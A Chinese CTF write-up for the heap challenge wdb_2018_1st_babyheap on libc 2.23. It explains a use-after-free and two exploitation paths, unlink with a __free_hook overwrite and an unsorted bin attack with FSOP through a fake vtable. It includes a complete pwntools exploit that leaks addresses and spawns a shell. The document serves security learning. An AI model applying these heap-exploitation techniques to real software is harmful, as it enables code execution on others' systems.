热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

wdb_2018_1st_babyheap

wdb_2018_1st_babyheap总结根据本题,学习与收获有:一般来说,在libc-2.23.so中,能用unlink的题目,基本可以用unsortedbinattack+

目录
  • wdb_2018_1st_babyheap
    • 总结
    • checksec
    • 题目分析
    • 漏洞分析
    • 利用思路
    • 最终EXP
    • 引用与参考


wdb_2018_1st_babyheap


总结

根据本题,学习与收获有:



  • 一般来说,在libc-2.23.so中,能用unlink的题目,基本可以用unsorted bin attack + IO_FILE劫持IO_jump_t结构执行system("/bin/sh")。不用能unlink的题目,但是能溢出修改unsorted bin chunksize并布局unsorted bin chunk内容,都可以用这一招偷鸡。

  • 修改unsorted binsize0x61, 然后从unsorted bin chunk的头部开始,布局如下:[/bin/sh\x00, 0x61 0, _IO_list_all - 0x10, 0, 1, 0xa8 * "\x00", fake_vtable_addr],然后fake_vtable填的内容如下:[0, 0, 0, system_addr]


checksec

技术分享图片

运行环境为ubuntu 16.04libc-2.23.so


题目分析

就是很常见的菜单题,有一个堆指针数组在bss段上,不过需要注意的有:



  • allocate最多只能调用10次,但是edit能编辑到索引为0x1fchunk的指针。

  • 每次allocateedit的固定大小为0x20,不能申请其他大小的chunk

  • edit的次数是3次,


漏洞分析

技术分享图片

很基础的UAF


利用思路

一般来说,UAF可以用来泄露地址。这里有两种利用思路,分别讲一下;

利用unlink



  • 利用UAF泄露出堆地址



  • 利用fastbin attack,修改到某个chunksize,更改为0x91,然后释放掉



  • 利用show泄露出libc地址



  • 利用unlink修改堆指针数组



  • 修改__free_hooksystem地址



  • 释放带/bin/sh的块



利用unsorted bin attack + IO_FILE:



  • 用同样的方法去泄露地址

    • 布局IO_FILE结构,这里的IO_FILE结构会散落到多处,关键是要找到vtable等重要的内存单元



  • 修改unsorted bin chunksize0x61

  • 调用malloc,触发IO_flush_all_lock_up,刷新所有流,执行system("/bin/sh")

利用流程如图所示:

技术分享图片


最终EXP

from pwn import *
int16 = lambda x : int(x, base=16)
LOG_ADDR = lamda: x, y: log.info("Addr: {} ===> {}".format(x, y))
sh = process("./wdb_2018_1st_babyheap")
cur_elf = sh.elf
libc = sh.elf.libc
context.arch="amd64"
initial_date = flat(0, 0x31, 0, 0x31)
def allocate(idx, data=initial_date):
if len(data) != 0x20:
if isinstance(data, str):
data += "\n"
else:
data += b"\n"
sh.sendlineafter("Choice:", "1")
sh.sendlineafter("Index:", str(idx))
sh.sendafter("Content:", data)
sh.recvline()
def edit(idx, data):
if len(data) != 0x20:
if isinstance(data, str):
data += "\n"
else:
data += b"\n"
sh.sendlineafter("Choice:", "2")
sh.sendlineafter("Index:", str(idx))
sh.sendafter("Content:", data)
sh.recvline()
def show(idx):
sh.sendlineafter("Choice:", "3")
sh.sendlineafter("Index:", str(idx))
msg = sh.recvline()
info("msg ===> {}".format(msg))
return msg
def free(idx):
sh.sendlineafter("Choice:", "4")
sh.sendlineafter("Index:", str(idx))
def attack_unlink():
allocate(0)
allocate(1)
allocate(2)
allocate(3)
allocate(4, "/bin/sh\x00")
free(1)
free(0)
# leak heap addr
msg = show(0)
leak_heap_addr = u64(msg[:-1].ljust(8, b"\x00"))
LOG_ADDR("leak_heap_addr", leak_heap_addr)
# fast bin attack
free(1)
allocate(5, flat(leak_heap_addr - 0x20))
allocate(6, "a")
allocate(7, "a")
target_addr = 0x602090
allocate(8, flat(target_addr - 0x18, target_addr - 0x10, 0x20, 0x90))
# edit 0 to set fake size
edit(0, flat(0, "\x21"))
# unlink
free(1)
# leak libc addr
msg = show(8)
leak_libc_addr = u64(msg[:-1].ljust(8, b"\x00"))
LOG_ADDR("leak_libc_addr", leak_libc_addr)
libc.address = leak_libc_addr - 0x3c4b20 - 88
LOG_ADDR("libc_base_addr", libc.address)
edit(6, p64(libc.sym[‘__free_hook‘])[:-1])
edit(3, flat(libc.sym[‘system‘]))
free(4)
sh.interactive()
def attack_fsop():
allocate(0)
allocate(1)
allocate(2)
allocate(3)
allocate(4, "/bin/sh\x00")
free(1)
free(0)
# leak heap addr
msg = show(0)
leak_heap_addr = u64(msg[:-1].ljust(8, b"\x00"))
LOG_ADDR("leak_heap_addr", leak_heap_addr)
edit(0, flat(leak_heap_addr - 0x10))
allocate(5, "a")
allocate(6, flat(0, 0x91))
allocate(7, flat(0, leak_heap_addr - 0x20)) # prepare for vtable
# leak libc addr
free(1)
msg = show(1)
leak_libc_addr = u64(msg[:-1].ljust(8, b"\x00"))
LOG_ADDR("leak_libc_addr", leak_libc_addr)
libc.address = leak_libc_addr - 0x3c4b20 - 88
LOG_ADDR("libc_base_addr", libc.address)
# fsop
edit(6, flat("/bin/sh\x00", 0x61, 0, libc.sym[‘_IO_list_all‘] - 0x10))
edit(0, flat(0, 0, 0, libc.sym[‘system‘]))
sh.sendlineafter("Choice:", "1")
sh.sendlineafter("Index:", str(8))
sh.interactive()
attack_fsop()

远程打:

unlink:

技术分享图片

FSOP:

技术分享图片


引用与参考

1、My Blog

2、Ctf Wiki


推荐阅读
  • 本文介绍了lua语言中闭包的特性及其在模式匹配、日期处理、编译和模块化等方面的应用。lua中的闭包是严格遵循词法定界的第一类值,函数可以作为变量自由传递,也可以作为参数传递给其他函数。这些特性使得lua语言具有极大的灵活性,为程序开发带来了便利。 ... [详细]
  • HDU 2372 El Dorado(DP)的最长上升子序列长度求解方法
    本文介绍了解决HDU 2372 El Dorado问题的一种动态规划方法,通过循环k的方式求解最长上升子序列的长度。具体实现过程包括初始化dp数组、读取数列、计算最长上升子序列长度等步骤。 ... [详细]
  • 本文介绍了C#中数据集DataSet对象的使用及相关方法详解,包括DataSet对象的概述、与数据关系对象的互联、Rows集合和Columns集合的组成,以及DataSet对象常用的方法之一——Merge方法的使用。通过本文的阅读,读者可以了解到DataSet对象在C#中的重要性和使用方法。 ... [详细]
  • 本文介绍了OC学习笔记中的@property和@synthesize,包括属性的定义和合成的使用方法。通过示例代码详细讲解了@property和@synthesize的作用和用法。 ... [详细]
  • 本文详细介绍了Linux中进程控制块PCBtask_struct结构体的结构和作用,包括进程状态、进程号、待处理信号、进程地址空间、调度标志、锁深度、基本时间片、调度策略以及内存管理信息等方面的内容。阅读本文可以更加深入地了解Linux进程管理的原理和机制。 ... [详细]
  • 《数据结构》学习笔记3——串匹配算法性能评估
    本文主要讨论串匹配算法的性能评估,包括模式匹配、字符种类数量、算法复杂度等内容。通过借助C++中的头文件和库,可以实现对串的匹配操作。其中蛮力算法的复杂度为O(m*n),通过随机取出长度为m的子串作为模式P,在文本T中进行匹配,统计平均复杂度。对于成功和失败的匹配分别进行测试,分析其平均复杂度。详情请参考相关学习资源。 ... [详细]
  • 高质量SQL书写的30条建议
    本文提供了30条关于优化SQL的建议,包括避免使用select *,使用具体字段,以及使用limit 1等。这些建议是基于实际开发经验总结出来的,旨在帮助读者优化SQL查询。 ... [详细]
  • CentOS 7部署KVM虚拟化环境之一架构介绍
    本文介绍了CentOS 7部署KVM虚拟化环境的架构,详细解释了虚拟化技术的概念和原理,包括全虚拟化和半虚拟化。同时介绍了虚拟机的概念和虚拟化软件的作用。 ... [详细]
  • Redis底层数据结构之压缩列表的介绍及实现原理
    本文介绍了Redis底层数据结构之压缩列表的概念、实现原理以及使用场景。压缩列表是Redis为了节约内存而开发的一种顺序数据结构,由特殊编码的连续内存块组成。文章详细解释了压缩列表的构成和各个属性的含义,以及如何通过指针来计算表尾节点的地址。压缩列表适用于列表键和哈希键中只包含少量小整数值和短字符串的情况。通过使用压缩列表,可以有效减少内存占用,提升Redis的性能。 ... [详细]
  • 本文介绍了在Web应用系统中,数据库性能是导致系统性能瓶颈最主要的原因之一,尤其是在大规模系统中,数据库集群已经成为必备的配置之一。文章详细介绍了主从数据库架构的好处和实验环境的搭建方法,包括主数据库的配置文件修改和设置需要同步的数据库等内容。MySQL的主从复制功能在国内外大型网站架构体系中被广泛采用,本文总结了作者在实际的Web项目中的实践经验。 ... [详细]
  • VScode格式化文档换行或不换行的设置方法
    本文介绍了在VScode中设置格式化文档换行或不换行的方法,包括使用插件和修改settings.json文件的内容。详细步骤为:找到settings.json文件,将其中的代码替换为指定的代码。 ... [详细]
  • 本文讨论了如何优化解决hdu 1003 java题目的动态规划方法,通过分析加法规则和最大和的性质,提出了一种优化的思路。具体方法是,当从1加到n为负时,即sum(1,n)sum(n,s),可以继续加法计算。同时,还考虑了两种特殊情况:都是负数的情况和有0的情况。最后,通过使用Scanner类来获取输入数据。 ... [详细]
  • CentOS 6.5安装VMware Tools及共享文件夹显示问题解决方法
    本文介绍了在CentOS 6.5上安装VMware Tools及解决共享文件夹显示问题的方法。包括清空CD/DVD使用的ISO镜像文件、创建挂载目录、改变光驱设备的读写权限等步骤。最后给出了拷贝解压VMware Tools的操作。 ... [详细]
  • 本文介绍了django中视图函数的使用方法,包括如何接收Web请求并返回Web响应,以及如何处理GET请求和POST请求。同时还介绍了urls.py和views.py文件的配置方式。 ... [详细]
  • 本文介绍了在Ubuntu下制作deb安装包及离线安装包的方法,通过备份/var/cache/apt/archives文件夹中的安装包,并建立包列表及依赖信息文件,添加本地源,更新源列表,可以在没有网络的情况下更新系统。同时提供了命令示例和资源下载链接。 ... [详细]
author-avatar
佳妤善真1729
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有